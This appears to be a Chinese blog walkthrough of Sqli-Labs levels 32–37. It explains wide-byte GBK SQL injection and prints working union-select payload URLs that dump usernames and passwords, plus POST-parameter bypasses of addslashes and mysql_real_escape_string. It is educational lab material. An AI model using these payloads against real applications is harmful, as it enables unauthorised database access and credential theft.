zoukankan      html  css  js  c++  java
  • Sqli-Labs less32-37

    Less-32

    前置基础知识:宽字节注入

    参考链接:

    https://blog.csdn.net/helloc0de/article/details/76180190

    https://blog.csdn.net/heiseweiye/article/details/82723478

    宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

    中文、韩文、日文等均存在宽字节,英文默认都是一个字节。

    在使用PHP连接MySQL的时候,当设置“set  character_set_client = gbk”时会导致一个编码转换的问题。

    例子: id= 1’ 处理 1 ’ 进行编码 1%5c%27 带入sql后 id = ’ and XXXX 此时无法完成注入

    id=1%df’ 处理 1%df’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞

    推荐解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp

    第一种办法:

    首先还是在代码中进行输出sql语句。

    可以看到是单引号进行闭合,如果输入1‘,可以看到进行了转义

    我们可以进行宽字节注入,  处理 1%df’ 进行编码  1%df%5c%27   带入sql后  id =1運’ 

    http://192.168.0.105/sqli-labs/Less-32/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

    第二种办法:%5c代表的是,%aa%5c'会转义成%aa%5c%5c%5c%27,然后进行组合:

     

    这样也可以实现注入,其实原理是一样的:

    http://192.168.0.105/sqli-labs/Less-32/?id=0%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

     

     

    less-33

    到这一关结束了tomcat的关卡,我就继续用docker环境了。

    我们查看源码发现这一关用了addslashes()函数,用法:https://www.w3school.com.cn/php/func_string_addslashes.asp

    其实与上一关的区别就是,这一关是使用函数过滤。而上一关用的是自定义过滤。

     所以,我们也可以用宽字节注入办法解决:

    http://192.168.0.106:300/Less-33/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users  --+

    less-34

    观察代码发现也用到了adds lashes()函数,理论上我们也可以用到上面的宽字节注入。但是并不行,因为用post传入数据,会再次编码。

     抓包之后的uname:uname=admin%25df%27&passwd=ad&submit=Submit

    所以这一步就是多加了一个转码%25,然后改包把25删去就可以了,这就是第一种办法:改包

     

    第二种办法:将单引号的UTF-8转换为UTF-16的单引号模式 ‘  �’

    �‘ union select 1,2# 

    注意,这个符号在win2003中显示是不一样的:

     

     这样就可以构造注入语句。

    这是一种比较巧妙地绕WAF。

    less-35

    这一关基本与上一关相同,就是没有了数据包裹,所以不用‘直接进行注入:

    http://192.168.0.106:300/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users

    less-36

    观察源码,发现与前面的区别就是使用的转义函数不一样:

    mysql_real_escape_string函数(参考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp)

    我们同样可以用之前的宽字节注入解决:

    http://192.168.0.106:300/Less-36/?id=0%df'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

    less-37

    37关与34关类似,都是post形式,区别就是转义函数的区别: mysql_real_escape_string()

    所以第一种办法就是可以用34关的单引号utf-8转换为utf-16的形式:
    �'union select 1,2#

     可以构造语句。另外还有一点,post和get形式有区别,post形式只有两个字段所以select1,2

    第二种办法:可以抓包对其进行宽字节注入

  • 相关阅读:
    程序员修神之路--容器技术为什么会这么流行
    程序员修神之路--kubernetes是微服务发展的必然产物
    程序员修神之路--有状态的服务其实可以做更多的事情
    程序员修神之路--要想做好微服务架构,并非易事!
    程序员修神之路--为什么有了SOA,我们还用微服务?
    程序员过关斩将--数据库的乐观锁和悲观锁并非真实的锁
    程序员修神之路--设计一套RPC框架并非易事
    计算机的诞生和简史
    记一次Linux修改MySQL配置不生效的问题
    为什么大多数公司都不重视技术?
  • 原文地址:https://www.cnblogs.com/hzk001/p/12236923.html
Copyright © 2011-2022 走看看